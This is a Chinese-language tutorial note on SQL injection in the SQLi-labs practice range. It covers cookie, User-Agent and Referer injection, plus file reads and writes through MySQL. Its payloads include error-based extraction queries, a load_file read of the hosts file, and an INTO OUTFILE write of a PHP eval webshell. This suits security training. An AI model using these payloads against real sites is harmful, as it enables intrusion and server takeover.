宽字节注入
Cookie注入
使用靶场SQLi-labs 第20关;
cookie注入的注入参数需要通过cookie提交,可以通过【document.cookie】在控制台完成对浏览器cookie的读写。
方法一、在控制台输入:
document.cookie="uname=Dumb' and extractvalue(1,concat(0x5e,version(),0x5e))#"
方法二、通过bp抓包
在使用dump用户登录前后,分别使用bp进行抓包,经过对两个数据包的对比,分析出登录用户后出现cookie字段,经过对cookie字段中uname=Dumb进行注入,发现可以进行报错注入。
uname=dumb' and updatexml(1,concat(0x5e,(select version(),0x5e)),1)
http头部注入
http头部注入就是指注入http头部报文字段,这些字段通常有user-agent、referer等。
@ user-agent注入
如第18关
user-agent:hacker' and updatexml(1,concat(0x5e,database(),0x5e),1) and '1'='1
@ referer注入
第19关,注入字段referer
hacker' and updatexml(1,concat(0x5e,database(),0x5e),1) and '1'='1
secure-file-priv注入
@前提
我们可以利用SQL注入漏洞读写文件,但是读写文件需要一定的条件。
1、secure-file-priv
可以再phpmyadmin中看到该变量。
该参数再高版本的mysql数据库中限制了文件的导入导出操做。改变该参数可以再my.ini配置文件中修改,然后重启mysql服务。
关于该参数值得相关说明
secure-file-priv=空 不对mysql服务的导入导出做出限制
secure-file-priv='c:/a/' 限制mysql服务的导入导出操做发生在c:/a/下(子目录有效)
secure-file-priv=null 限制mysql服务不允许导入导出操做
2、当前用户具有文件权限
查询语句:select File_priv from mysql.user where user="root" and host="localhost"
3、要知道写入目标文件的绝对路径
@读取文件
?id=-1' union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+
@写入文件
?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[111]);?>',3 into outfile 'c:\\phpstudy\\www\\1.php' --+
直接传入参数,页面如果不报错说明写入成功,可以直接访问写入文件